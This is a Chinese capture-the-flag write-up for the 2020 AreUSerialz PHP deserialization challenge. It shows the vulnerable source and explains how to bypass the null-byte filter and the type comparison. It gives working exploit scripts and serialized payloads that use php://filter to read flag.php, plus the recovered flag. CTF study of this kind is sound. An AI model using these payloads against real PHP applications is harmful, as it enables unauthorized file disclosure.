[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
思路:构造一个payload去执行read()函数,读取flag.php的内容。
从最后一段看到,我们传入的参数,会先通过is_valid这个函数,它对传入的参数中的每一个字符进行判断,需满足ascii值在32~125之间,然后对其进行反序列化,否则不会执行任何操作。
这里由于op,filename,content三个变量权限都是protected,而protected和private权限的变量在序列化的时会引入不可见字符\x00,这些字符对应的ascii码为0,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
这里有两种方法进行绕过
1.将ascii码为0的用”\00"来代替,在php打序列化字符串中只要把其中的s改成大写打S,后面打字符串就可以用十六进制表示,来绕过is_valid中对空字节的检查
然后is_valid函数判断完之后,会将$str反序列化,这个时候会调用__destruct函数
__destruct:在一个对象销毁的时候自动调用
函数参考链接:https://segmentfault.com/a/1190000007250604
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
函数中会首先判断$op参数是不是为'2',注意这里比较的不是数字2,因为这是” === “强比较类型,会首先判断变量类型。如果op === '2',就将op赋值为'1',然后content赋值为”“就是为空,然后调用process函数
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
函数中会先判断op == “1”,是就进入write函数,不是就会判断op == '2',这里注意是弱类型比较==。是的话就会进入read()函数,然后输出$res变量,否则输出"Bad Hacker!”,这里我们接着看write和read函数。
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
write()函数是判断filename和content变量是不是为空,然后判断content长度是不是>100,如果是就调用output函数输出"Too long!“,然后读取filename和conteng文件赋值给$res,判断是否为真,为真输出"Successful!“,为假输出"Failed!“,这些并不是什么有用的信息。
read()函数首先新建一个空的$res变量,然后判断filename是否有内容,将内容读取返回之后用output输出,这个时候们可以通过filename访问flag.php文件,这个变量是可控的。所以可以构造payload选择进入read()函数。
所以我们要令op=2,这里的2是整数int。当op=2时,op === "2"为false,op=="2"为true,接着进入read函数,里面会有$res = file_get_contents($this->filename),这个时候可以用php伪协议来读取flag.php
filename=php://filter/read=convert.base64-encode/resource=flag.php
如果直接filename=flag.php,则内容会在注释中显示,具体操作会在第2种方法中演示结果
完整的EXP如下:
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content="";
}
$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0),'\00',$b);
$b = str_replace('s:','S:',$b);
echo $b;
?>
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";S:0:"";}
接着构造payload
解码得到flag{1ba34463-13f9-4816-8606-1275ecb69cb6}
2.PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。即我们最后在构造poc的时候,用public来修饰属性
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "1"; //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
此时页面中注释直接输出flag